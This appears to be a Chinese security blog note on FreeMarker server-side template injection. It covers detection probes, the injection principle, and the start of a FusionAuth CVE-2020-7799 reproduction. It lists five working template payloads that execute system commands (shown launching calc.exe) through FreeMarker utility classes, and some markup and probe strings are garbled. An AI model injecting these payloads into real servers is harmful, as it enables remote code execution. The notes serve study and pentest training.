freemarker模板注入

一、freemarker和thymeleaf区别

freemarker这种编程式模板引擎,比如我们用一个判断会这么写

<#if ${isBig}>Wow!

而在thymeleaf中首先要考虑的问题是我的DOM是什么,而不是将 if 的逻辑放在哪里

在thymeleaf中判断会写出下面代码:

<div th:switch="${user.role}"> 
  <p th:case="'admin'">User is an administratorp>
  <p th:case="#{roles.manager}">User is a managerp>
  <p th:case="*">User is some other thingp> 
div>

二、关于FreeMarker模板注入

参考链接:https://zhuanlan.zhihu.com/p/432361789
(一)简介
FreeMarker 是一款模板引擎,即一种基于模板和需要改变的数据, 并用来生成输出文本( HTML 网页,电子邮件,配置文件,源代码等)的通用工具,其模板语言为 FreeMarker Template Language (FTL)。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
freemarker模板注入_第1张图片
(二)常用的几种类型

文本:包括HTML标签与静态文本等静态内容,会原样输出;

插值:这部分的输出会被计算的数据来替换,使用${}这种语法;

标签:给FreeMarker的指示,可以简单与指令等同,不会打印在内容中,比如<#assign name=‘bob’>;

注释:由<#–和–>表示,不会被freemarker处理

(三)注入原理
服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

(四)漏洞发现

1、使用${77}或#{77},如果返回49,则基本可以确认存在模板注入漏洞。

2、使用特殊字符等方式去尝试报错:

${{<%[%’”}}%\

如果引发了报错,则可能存在问题,同时还可能爆出模板引擎是什么,有时甚至是哪个版本。

(五)参考payload
https://www.cnblogs.com/Eleven-Liu/p/12747908.html

1.<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

2.[#ftl][#assign value= "freemarker.template.utility.Execute"?new()]${ value("calc.exe")}

3.${"freemarker.template.utility.Execute"?new()("calc.exe")}

4.<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

5.<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")

三、FusionAuthRCE(CVE-2020-7799)复现

转载于:https://blog.csdn.net/xuandao_ahfengren/article/details/107742893
(一)简介

FusionAuth是一个免费的身份管理平台,安装简单,易于集成。FusionAuth提供登录、注册、MFA、SSO、电子邮件模板、本地化、密码控制、强哈希、网络挂钩、基于角色的访问控制等功能。

(二)影响版本

FusionAuth <= 1.11.0

(三)环境搭建

1、下载 FusionAuth 1.10.0

wget https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.10.0/fusionauth-app-1.10.0.zip

freemarker模板注入_第2张图片

四、Freemarker模板注入(CVE-2020-7477)复现

https://blog.csdn.net/qq_35208730/article/details/119392499

freemarker快速入门:
https://segmentfault.com/a/1190000011768799?utm_source=tag-newest

你可能感兴趣的:(安全,java,web安全)